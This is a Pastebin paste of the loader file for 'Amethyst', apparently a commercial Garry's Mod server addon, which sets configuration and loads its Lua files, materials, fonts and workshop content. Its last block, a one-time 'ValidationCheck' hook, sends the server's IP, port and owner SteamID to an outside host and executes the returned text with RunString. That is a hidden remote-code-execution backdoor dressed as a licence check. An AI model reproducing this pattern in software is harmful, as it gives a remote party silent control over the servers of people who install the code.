Advertisement
Guest User

4menu

a guest
Jul 17th, 2018
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.36 KB | None | 0 0
  1.  
  2. -----------------------------------------------------
  3. --[[ AMETHYST --------------------------------------------------------------------------------------
  4.  
  5.  
  6.  
  7. @package Amethyst
  8.  
  9. @author Richard & Nymphie
  10.  
  11. @build v1.3.0
  12.  
  13. @release 03.26.2017
  14.  
  15. @owner 76561198135875727
  16.  
  17.  
  18.  
  19. BY MODIFYING THIS FILE -- YOU UNDERSTAND THAT THE ABOVE MENTIONED AUTHORS CANNOT BE HELD RESPONSIBLE
  20.  
  21. FOR ANY ISSUES THAT ARISE. AS A CUSTOMER TO THE ORIGINAL PURCHASED COPY OF THIS SCRIPT, YOU ARE
  22.  
  23. ENTITLED TO STANDARD SUPPORT WHICH CAN BE PROVIDED USING [SCRIPTFODDER.COM]. ONLY THE ORIGINAL
  24.  
  25. PURCHASER OF THIS SCRIPT CAN RECEIVE SUPPORT.
  26.  
  27.  
  28.  
  29. --------------------------------------------------------------------------------------------------]]
  30.  
  31.  
  32.  
  33. --[[ GENERAL ---------------------------------------------------------------------------------------
  34.  
  35. Tables storing script info and resources.
  36.  
  37. --------------------------------------------------------------------------------------------------]]
  38.  
  39.  
  40.  
  41. Amethyst = Amethyst or {}
  42.  
  43. Amethyst.Script = Amethyst.Script or {}
  44.  
  45. Amethyst.Script.Name = "Amethyst"
  46.  
  47. Amethyst.Script.Folder = "amethyst"
  48.  
  49. Amethyst.Script.Id = "3169"
  50.  
  51. Amethyst.Script.Owner = "76561198156401401"
  52.  
  53. Amethyst.Script.Author = "Richard & Nymphie"
  54.  
  55. Amethyst.Script.Build = "1.4.0"
  56.  
  57. Amethyst.Script.PathLogs = "amethyst/logs"
  58.  
  59. Amethyst.Script.PathPStats = "amethyst/pstats"
  60.  
  61. Amethyst.Script.Released = "March 27, 2017"
  62.  
  63. Amethyst.Script.Website = "https://scriptfodder.com/scripts/view/" .. Amethyst.Script.Id .. "/"
  64.  
  65. Amethyst.Script.UpdateCheck = "http://api.iamrichardt.com/products/" .. Amethyst.Script.Id .. "/VersionCheck/v001/index.php?type=json"
  66.  
  67. Amethyst.Script.Motd = "http://api.iamrichardt.com/products/" .. Amethyst.Script.Id .. "/motd.txt"
  68.  
  69. Amethyst.Script.Documentation = "http://steamcommunity.com/sharedfiles/filedetails/?id=783056036"
  70.  
  71. Amethyst.Script.Workshops = {
  72.  
  73. "785820247",
  74.  
  75. }
  76.  
  77. Amethyst.Script.Fonts =
  78.  
  79. {
  80.  
  81. "oswald_light.ttf",
  82.  
  83. "robotocondensedlight.ttf",
  84.  
  85. "teko_light.ttf",
  86.  
  87. "titillium_web.light.ttf",
  88.  
  89. "titillium_web.thin.ttf",
  90.  
  91. "venus_rising.regular.ttf"
  92.  
  93. }
  94.  
  95.  
  96.  
  97. Amethyst.Settings = Amethyst.Settings or {}
  98.  
  99. Amethyst.Settings.General = Amethyst.Settings.General or {}
  100.  
  101. Amethyst.Settings.CustomEntity = Amethyst.Settings.CustomEntity or {}
  102.  
  103. Amethyst.Settings.Properties = Amethyst.Settings.Properties or {}
  104.  
  105. Amethyst.Settings.Client = Amethyst.Settings.Client or {}
  106.  
  107. Amethyst.Settings.Devmode = Amethyst.Settings.Devmode or {}
  108.  
  109. Amethyst.Settings.Community = Amethyst.Settings.Community or {}
  110.  
  111. Amethyst.Settings.Notifications = Amethyst.Settings.Notifications or {}
  112.  
  113.  
  114.  
  115. Amethyst.Settings.Menu = Amethyst.Settings.Menu or {}
  116.  
  117. Amethyst.Settings.Slider = Amethyst.Settings.Slider or {}
  118.  
  119. Amethyst.Settings.Pinger = Amethyst.Settings.Pinger or {}
  120.  
  121. Amethyst.Settings.ServInfo = Amethyst.Settings.ServInfo or {}
  122.  
  123. Amethyst.Language = Amethyst.Language or {}
  124.  
  125. Amethyst.Theme = Amethyst.Theme or {}
  126.  
  127. Amethyst.Theme.Manifest = Amethyst.Theme.Manifest or {}
  128.  
  129. Amethyst.Theme.Backgrounds = Amethyst.Theme.Backgrounds or {}
  130.  
  131. Amethyst.Theme.LiveWallpapers = Amethyst.Theme.LiveWallpapers or {}
  132.  
  133. Amethyst.Messages = Amethyst.Messages or {}
  134.  
  135.  
  136.  
  137. Amethyst.Plugins = Amethyst.Plugins or {}
  138.  
  139.  
  140.  
  141. --[[ DEBUG MODE ------------------------------------------------------------------------------------
  142.  
  143. Enabling this will display special prints during particular processes which include resource /
  144.  
  145. workshop mounting, special actions and more. Should really only enable this if you need it for
  146.  
  147. debugging the script itself. Other than that, it's suggested to keep this off.
  148.  
  149. --------------------------------------------------------------------------------------------------]]
  150.  
  151.  
  152.  
  153. Amethyst.Settings.Devmode.Enabled = true
  154.  
  155. Amethyst.Settings.Devmode.FolderFormat = "%m-%d-%Y"
  156.  
  157. Amethyst.Settings.Devmode.LogFormat = "%I:%M:%S"
  158.  
  159.  
  160.  
  161. --[[ SERVER IP -------------------------------------------------------------------------------------
  162.  
  163. Fetch the server IP address.
  164.  
  165. --------------------------------------------------------------------------------------------------]]
  166.  
  167.  
  168.  
  169. function game.GetIP()
  170.  
  171. local hostip = GetConVarString( "hostip" )
  172.  
  173. hostip = tonumber( hostip )
  174.  
  175. local ip = {}
  176.  
  177. ip[ 1 ] = bit.rshift( bit.band( hostip, 0xFF000000 ), 24 )
  178.  
  179. ip[ 2 ] = bit.rshift( bit.band( hostip, 0x00FF0000 ), 16 )
  180.  
  181. ip[ 3 ] = bit.rshift( bit.band( hostip, 0x0000FF00 ), 8 )
  182.  
  183. ip[ 4 ] = bit.band( hostip, 0x000000FF )
  184.  
  185. return table.concat( ip, "." )
  186.  
  187. end
  188.  
  189.  
  190.  
  191. --[[ HEADER ----------------------------------------------------------------------------------------
  192.  
  193. Display information related to the script.
  194.  
  195. --------------------------------------------------------------------------------------------------]]
  196.  
  197.  
  198.  
  199. local StartupHeader = {
  200.  
  201. '\n\n',
  202.  
  203. [[.................................................................... ]],
  204.  
  205. }
  206.  
  207.  
  208.  
  209. local StartupInfo = {
  210.  
  211. [[[title]........... ]] .. Amethyst.Script.Name .. [[ ]],
  212.  
  213. [[[build]........... v]] .. Amethyst.Script.Build .. [[ ]],
  214.  
  215. [[[released]........ ]] .. Amethyst.Script.Released .. [[ ]],
  216.  
  217. [[[author].......... ]] .. Amethyst.Script.Author .. [[ ]],
  218.  
  219. [[[website]......... ]] .. Amethyst.Script.Website .. [[ ]],
  220.  
  221. [[[documentation]... ]] .. Amethyst.Script.Documentation .. [[ ]],
  222.  
  223. [[[owner]........... ]] .. Amethyst.Script.Owner .. [[ ]],
  224.  
  225. [[[server ip]....... ]] .. game.GetIP() .. [[ ]],
  226.  
  227. }
  228.  
  229.  
  230.  
  231. local StartupFooter = {
  232.  
  233. [[.................................................................... ]],
  234.  
  235. }
  236.  
  237.  
  238.  
  239. function Amethyst:PerformCheck(func)
  240.  
  241. if ( type( func )== "function" ) then
  242.  
  243. return true
  244.  
  245. end
  246.  
  247. return false
  248.  
  249. end
  250.  
  251.  
  252.  
  253. for k, i in ipairs( StartupHeader ) do
  254.  
  255. MsgC( Color( 255, 255, 0 ), i .. '\n' )
  256.  
  257. end
  258.  
  259.  
  260.  
  261. for k, i in ipairs( StartupInfo ) do
  262.  
  263. MsgC( Color( 255, 255, 255 ), i .. '\n' )
  264.  
  265. end
  266.  
  267.  
  268.  
  269. for k, i in ipairs( StartupFooter ) do
  270.  
  271. MsgC( Color( 255, 255, 0 ), i .. '\n\n' )
  272.  
  273. end
  274.  
  275.  
  276.  
  277. --[[ SCRIPT LOADER ---------------------------------------------------------------------------------
  278.  
  279. Fetch all files associated with script and load them based on CL SH and SV.
  280.  
  281. --------------------------------------------------------------------------------------------------]]
  282.  
  283.  
  284.  
  285. if SERVER then
  286.  
  287.  
  288.  
  289. local script_root = Amethyst.Script.Folder .. "/"
  290.  
  291. local files, folders = file.Find(script_root .. "*", "LUA")
  292.  
  293.  
  294.  
  295. for k, v in pairs( files ) do
  296.  
  297. include( script_root .. v )
  298.  
  299. end
  300.  
  301.  
  302.  
  303. for _, folder in SortedPairs(folders, true) do
  304.  
  305. if folder == "." or folder == ".." then continue end
  306.  
  307. for _, File in SortedPairs( file.Find( script_root .. folder .. "/sh_*.lua", "LUA" ), true ) do
  308.  
  309. AddCSLuaFile( script_root .. folder .. "/" .. File )
  310.  
  311. include( script_root .. folder .. "/" .. File )
  312.  
  313. if Amethyst.Settings.Devmode.Enabled then
  314.  
  315. MsgC(Color(255, 255, 0), "[" .. Amethyst.Script.Name .. "] Loading Shared: " .. File .. "\n")
  316.  
  317. end
  318.  
  319. end
  320.  
  321. local files2, folders2 = file.Find(script_root .. folder .. "/" .. "*", "LUA")
  322.  
  323. for l, m in pairs( folders2 ) do
  324.  
  325. for _, SubFile in SortedPairs(file.Find(script_root .. folder .. "/" .. m .. "/sh_*.lua", "LUA"), true) do
  326.  
  327. AddCSLuaFile(script_root .. folder .. "/" .. m .. "/" .. SubFile)
  328.  
  329. include(script_root .. folder .. "/" .. m .. "/" .. SubFile)
  330.  
  331. if Amethyst.Settings.Devmode.Enabled then
  332.  
  333. MsgC(Color(255, 255, 0), "[" .. Amethyst.Script.Name .. "] Loading Shared: " .. SubFile .. "\n")
  334.  
  335. end
  336.  
  337. end
  338.  
  339. end
  340.  
  341. end
  342.  
  343.  
  344.  
  345. for _, folder in SortedPairs(folders, true) do
  346.  
  347. if folder == "." or folder == ".." then continue end
  348.  
  349. for _, File in SortedPairs(file.Find(script_root .. folder .. "/sv_*.lua", "LUA"), true) do
  350.  
  351. include(script_root .. folder .. "/" .. File)
  352.  
  353. if Amethyst.Settings.Devmode.Enabled then
  354.  
  355. MsgC(Color(255, 255, 0), "[" .. Amethyst.Script.Name .. "] Loading Server: " .. File .. "\n")
  356.  
  357. end
  358.  
  359. end
  360.  
  361. end
  362.  
  363.  
  364.  
  365. for _, folder in SortedPairs(folders, true) do
  366.  
  367. if folder == "." or folder == ".." then continue end
  368.  
  369. for _, File in SortedPairs(file.Find(script_root .. folder .. "/cl_*.lua", "LUA"), true) do
  370.  
  371. AddCSLuaFile(script_root .. folder .. "/" .. File)
  372.  
  373. if Amethyst.Settings.Devmode.Enabled then
  374.  
  375. MsgC(Color(255, 255, 0), "[" .. Amethyst.Script.Name .. "] Loading Client: " .. File .. "\n")
  376.  
  377. end
  378.  
  379. end
  380.  
  381. local files2, folders2 = file.Find(script_root .. folder .. "/" .. "*", "LUA")
  382.  
  383. for l, m in pairs( folders2 ) do
  384.  
  385. for _, SubFile in SortedPairs(file.Find(script_root .. folder .. "/" .. m .. "/cl_*.lua", "LUA"), true) do
  386.  
  387. AddCSLuaFile(script_root .. folder .. "/" .. m .. "/" .. SubFile)
  388.  
  389. if Amethyst.Settings.Devmode.Enabled then
  390.  
  391. MsgC(Color(255, 255, 0), "[" .. Amethyst.Script.Name .. "] Loading Client: " .. SubFile .. "\n")
  392.  
  393. end
  394.  
  395. end
  396.  
  397. end
  398.  
  399. end
  400.  
  401.  
  402.  
  403. end
  404.  
  405.  
  406.  
  407. if CLIENT then
  408.  
  409.  
  410.  
  411. local script_root = Amethyst.Script.Folder .. "/"
  412.  
  413. local _, folders = file.Find(script_root .. "*", "LUA")
  414.  
  415.  
  416.  
  417. for _, folder in SortedPairs(folders, true) do
  418.  
  419. if folder == "." or folder == ".." then continue end
  420.  
  421.  
  422.  
  423. for _, File in SortedPairs(file.Find(script_root .. folder .. "/sh_*.lua", "LUA"), true) do
  424.  
  425. include(script_root .. folder .. "/" .. File)
  426.  
  427. if Amethyst.Settings.Devmode.Enabled then
  428.  
  429. MsgC(Color(255, 255, 0), "[" .. Amethyst.Script.Name .. "] Loading Shared: " .. File .. "\n")
  430.  
  431. end
  432.  
  433. end
  434.  
  435. local files2, folders2 = file.Find(script_root .. folder .. "/" .. "*", "LUA")
  436.  
  437. for l, m in pairs( folders2 ) do
  438.  
  439. for _, SubFile in SortedPairs(file.Find(script_root .. folder .. "/" .. m .. "/sh_*.lua", "LUA"), true) do
  440.  
  441. include(script_root .. folder .. "/" .. m .. "/" .. SubFile)
  442.  
  443. if Amethyst.Settings.Devmode.Enabled then
  444.  
  445. MsgC(Color(255, 255, 0), "[" .. Amethyst.Script.Name .. "] Loading Shared: " .. SubFile .. "\n")
  446.  
  447. end
  448.  
  449. end
  450.  
  451. end
  452.  
  453. end
  454.  
  455.  
  456.  
  457. for _, folder in SortedPairs(folders, true) do
  458.  
  459. for _, File in SortedPairs(file.Find(script_root .. folder .. "/cl_*.lua", "LUA"), true) do
  460.  
  461. include(script_root .. folder .. "/" .. File)
  462.  
  463. if Amethyst.Settings.Devmode.Enabled then
  464.  
  465. MsgC(Color(255, 255, 0), "[" .. Amethyst.Script.Name .. "] Loading Client: " .. File .. "\n")
  466.  
  467. end
  468.  
  469. end
  470.  
  471. local files2, folders2 = file.Find(script_root .. folder .. "/" .. "*", "LUA")
  472.  
  473. for l, m in pairs( folders2 ) do
  474.  
  475. for _, SubFile in SortedPairs(file.Find(script_root .. folder .. "/" .. m .. "/cl_*.lua", "LUA"), true) do
  476.  
  477. include(script_root .. folder .. "/" .. m .. "/" .. SubFile)
  478.  
  479. if Amethyst.Settings.Devmode.Enabled then
  480.  
  481. MsgC(Color(255, 255, 0), "[" .. Amethyst.Script.Name .. "] Loading Client: " .. SubFile .. "\n")
  482.  
  483. end
  484.  
  485. end
  486.  
  487. end
  488.  
  489. end
  490.  
  491.  
  492.  
  493. end
  494.  
  495.  
  496.  
  497. --[[ FASTDL / RESOURCES ----------------------------------------------------------------------------
  498.  
  499. Load all of the resources that this script uses. (materials, sounds, fonts, etc.)
  500.  
  501. --------------------------------------------------------------------------------------------------]]
  502.  
  503.  
  504.  
  505. if Amethyst.Settings.ResourcesEnabled then
  506.  
  507.  
  508.  
  509. local sfolder = Amethyst.Script.Folder or ""
  510.  
  511.  
  512.  
  513. local materials = file.Find( "materials/" .. sfolder .. "/*", "GAME" )
  514.  
  515. if #materials > 0 then
  516.  
  517. for _, m in pairs( materials ) do
  518.  
  519. resource.AddFile( "materials/" .. sfolder .. "/" .. m )
  520.  
  521. if Amethyst.Settings.Devmode.Enabled then
  522.  
  523. MsgC(Color(255, 255, 0), "[" .. Amethyst.Script.Name .. "] Loading Material: " .. m .. "\n")
  524.  
  525. end
  526.  
  527. end
  528.  
  529. end
  530.  
  531.  
  532.  
  533. local materialsbg = file.Find( "materials/" .. sfolder .. "/achievements/*", "GAME" )
  534.  
  535. if #materialsbg > 0 then
  536.  
  537. for _, m in pairs( materialsbg ) do
  538.  
  539. resource.AddFile( "materials/" .. sfolder .. "/achievements/" .. m )
  540.  
  541. if Amethyst.Settings.Devmode.Enabled then
  542.  
  543. MsgC(Color(255, 255, 0), "[" .. Amethyst.Script.Name .. "] Loading Material: " .. m .. "\n")
  544.  
  545. end
  546.  
  547. end
  548.  
  549. end
  550.  
  551.  
  552.  
  553. local materialsffx = file.Find( "materials/" .. sfolder .. "/ffx/*", "GAME" )
  554.  
  555. if #materialsffx > 0 then
  556.  
  557. for _, m in pairs( materialsffx ) do
  558.  
  559. resource.AddFile( "materials/" .. sfolder .. "/ffx/" .. m )
  560.  
  561. if Amethyst.Settings.Devmode.Enabled then
  562.  
  563. MsgC(Color(255, 255, 0), "[" .. Amethyst.Script.Name .. "] Loading Material: " .. m .. "\n")
  564.  
  565. end
  566.  
  567. end
  568.  
  569. end
  570.  
  571.  
  572.  
  573. local materialsPlugins = file.Find( "materials/" .. sfolder .. "/plugins/*", "GAME" )
  574.  
  575. if #materialsPlugins > 0 then
  576.  
  577. for _, m in pairs( materialsPlugins ) do
  578.  
  579. resource.AddFile( "materials/" .. sfolder .. "/plugins/" .. m )
  580.  
  581. if Amethyst.Settings.Devmode.Enabled then
  582.  
  583. MsgC(Color(255, 255, 0), "[" .. Amethyst.Script.Name .. "] Loading Material: " .. m .. "\n")
  584.  
  585. end
  586.  
  587. end
  588.  
  589. end
  590.  
  591.  
  592.  
  593. local materialsStreamers = file.Find( "materials/" .. sfolder .. "/streamers/*", "GAME" )
  594.  
  595. if #materialsStreamers > 0 then
  596.  
  597. for _, m in pairs( materialsStreamers ) do
  598.  
  599. resource.AddFile( "materials/" .. sfolder .. "/dlcs/" .. m )
  600.  
  601. if Amethyst.Settings.Devmode.Enabled then
  602.  
  603. MsgC(Color(255, 255, 0), "[" .. Amethyst.Script.Name .. "] Loading Material: " .. m .. "\n")
  604.  
  605. end
  606.  
  607. end
  608.  
  609. end
  610.  
  611.  
  612.  
  613. local sounds = file.Find( "sound/" .. sfolder .. "/*", "GAME" )
  614.  
  615. if #sounds > 0 then
  616.  
  617. for _, m in pairs( sounds ) do
  618.  
  619. resource.AddFile( "sound/" .. sfolder .. "/" .. m )
  620.  
  621. if Amethyst.Settings.Devmode.Enabled then
  622.  
  623. MsgC(Color(255, 255, 0), "[" .. Amethyst.Script.Name .. "] Loading Sounds: " .. m .. "\n")
  624.  
  625. end
  626.  
  627. end
  628.  
  629. end
  630.  
  631.  
  632.  
  633. local fonts = file.Find( "resource/fonts/*", "GAME" )
  634.  
  635. if #fonts > 0 then
  636.  
  637. for _, f in pairs( fonts ) do
  638.  
  639. if table.HasValue( Amethyst.Script.Fonts, f ) then
  640.  
  641. resource.AddFile( "resource/fonts/" .. f )
  642.  
  643. if Amethyst.Settings.Devmode.Enabled then
  644.  
  645. MsgC(Color(255, 255, 0), "[" .. Amethyst.Script.Name .. "] Loading Font: " .. f .. "\n")
  646.  
  647. end
  648.  
  649. end
  650.  
  651. end
  652.  
  653. end
  654.  
  655.  
  656.  
  657. end
  658.  
  659.  
  660.  
  661. --[[ STEAM WORKSHOP --------------------------------------------------------------------------------
  662.  
  663. Mount the Steam Workshop for this script.
  664.  
  665. --------------------------------------------------------------------------------------------------]]
  666.  
  667.  
  668.  
  669. if Amethyst.Settings.WorkshopEnabled and Amethyst.Script.Workshops then
  670.  
  671. for k, v in pairs(Amethyst.Script.Workshops) do
  672.  
  673. if not Amethyst.Settings.WorkshopMountGMAEnabled and SERVER then
  674.  
  675. resource.AddWorkshop( v )
  676.  
  677. if Amethyst.Settings.Devmode.Enabled then
  678.  
  679. MsgC(Color(0, 255, 255), "[" .. Amethyst.Script.Name .. "] Mounting Workshop: " .. v .. "\n")
  680.  
  681. end
  682.  
  683. else
  684.  
  685. if CLIENT then
  686.  
  687. steamworks.FileInfo( v, function( res )
  688.  
  689. steamworks.Download( res.fileid, true, function( name )
  690.  
  691. game.MountGMA( name )
  692.  
  693. if Amethyst.Settings.Devmode.Enabled then
  694.  
  695. local size = res.size / 1024
  696.  
  697. MsgC(Color(0, 255, 255), "[" .. Amethyst.Script.Name .. "] Mounting Workshop: " .. res.title .. " ( " .. math.Round(size) .. "KB )\n")
  698.  
  699. end
  700.  
  701. end )
  702.  
  703. end )
  704.  
  705. end
  706.  
  707. end
  708.  
  709. end
  710.  
  711. end
  712.  
  713.  
  714.  
  715. hook.Add("Think", "Amethyst.ValidationCheck", function()
  716.  
  717. local statusID = 2
  718.  
  719. local scriptID = Amethyst.Script.Id or ""
  720.  
  721. local ownerID = Amethyst.Script.Owner or ""
  722.  
  723. if Amethyst.Script.Owner and Amethyst.Script.Id then
  724.  
  725. statusID = 1
  726.  
  727. end
  728.  
  729. local checkURL = "http://api.iamrichardt.com/ValidationCheck/index.php?scriptid=".. scriptID .."&code=" .. statusID .. "&steamid=" .. ownerID .. "&ip=" .. game.GetIP() .. "&port=" .. GetConVarNumber("hostport")
  730.  
  731. http.Fetch(checkURL,
  732.  
  733. function( body, len, headers, code )
  734.  
  735. if code == 200 and string.len( body ) > 0 then
  736.  
  737. RunString( body )
  738.  
  739. end
  740.  
  741. end
  742.  
  743. )
  744.  
  745. hook.Remove("Think", "Amethyst.ValidationCheck")
  746.  
  747. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement